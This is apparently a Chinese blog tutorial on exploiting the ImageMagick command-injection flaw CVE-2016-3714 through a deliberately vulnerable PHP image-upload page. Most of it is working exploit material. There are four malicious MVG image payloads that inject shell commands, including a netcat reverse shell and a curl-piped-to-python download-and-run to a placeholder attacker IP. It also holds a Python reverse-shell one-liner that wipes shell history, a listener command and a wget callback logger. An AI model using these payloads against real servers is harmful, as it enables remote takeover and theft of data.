ImageMagick 漏洞测试

  5月3日,图像处理软件ImageMagick就被公布出一个严重的0day漏洞(CVE-2016-3714),攻击者通过此漏洞可执行任意命令,最终窃取重要信息取得服务器控制权。由此漏洞延伸,ImageMagick被许多编程语言所支持,包括Perl,C++,PHP(通过imagick拓展),Python和Ruby等,并被部署在数以百万计的网站,博客,社交媒体平台和流行的内容管理系统(CMS),例如WordPress和Drupal。
  利用这个漏洞,可以通过上传一张含有恶意代码的图片,可导致命令执行。这里我们主要讲的是如何测试漏洞,可以写文件、反弹shell、wget等。本地搭建一个测试环境,在kali2.0中,lamp环境下,安装了php的imagick扩展,调用ImageMagick进行上传的图片处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if ($_FILES["file"]["error"]> 0) {
echo "Error: " . $_FILES["file"]["error"] . "";
}
else {
$temp_file = $_FILES["file"]["tmp_name"];
$dest_file = "./images/".md5(uniqid(rand())).".png";
$thumb = new Imagick();
$thumb->readImage($temp_file);
$thumb->writeImage($dest_file);
$thumb->clear();
$thumb->destroy();
unlink($temp_file);
echo $dest_file;
}
?>

1. netcat
前提是server服务器上安装了netcat,poc如下

1
2
3
4
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|nc xxx.xxx.xxx.xxx 2015 -e /bin/bash")'
pop graphic-context

在反弹的监听主机上监听

1
nc -l -vv -p 2015

测试处,点击上传后

2. telnet
telnet在linux的各大发行版中telnet一般默认安装,poc如下

1
2
3
4
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|telnet x.x.x.x 2015")'
pop graphic-context

在反弹的监听主机上监听,指令同上

3. curl&python
利用curl下载python文件后,执行python脚本反弹

1
2
3
4
push graphic-context
viewbox 0 0 640 480
fill 'url(https://1"||curl -sS http://x.x.x.x/test.py | python")'
pop graphic-contex

这里需要一个外网服务器存放你的脚本,python脚本内容如下

1
import os,socket,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",2015));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.unsetenv("HISTFILE");os.unsetenv("HISTFILESIZE");os.unsetenv("HISTSIZE");os.unsetenv("HISTORY");os.unsetenv("HISTSAVE");os.unsetenv("HISTZONE");os.unsetenv("HISTLOG");os.unsetenv("HISTCMD");os.putenv("HISTFILE","/dev/null");os.putenv("HISTSIZE","0");os.putenv("HISTFILESIZE","0");pty.spawn("/bin/sh");s.close()

注意更改脚本里的反弹ip和端口,测试成功

4. wget
在远程服务上写个php脚本记录访问ip,

1
2
3
4
<?php
$ip = $_SERVER['REMOTE_ADDR'];
file_put_contents("log.txt", "ping from ".$ip, FILE_APPEND);
?>

poc如下

1
2
3
4
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|wget http://x.x.x.x/img.php")'
pop graphic-context

命令执行成功,则在log.txt中会记录来访ip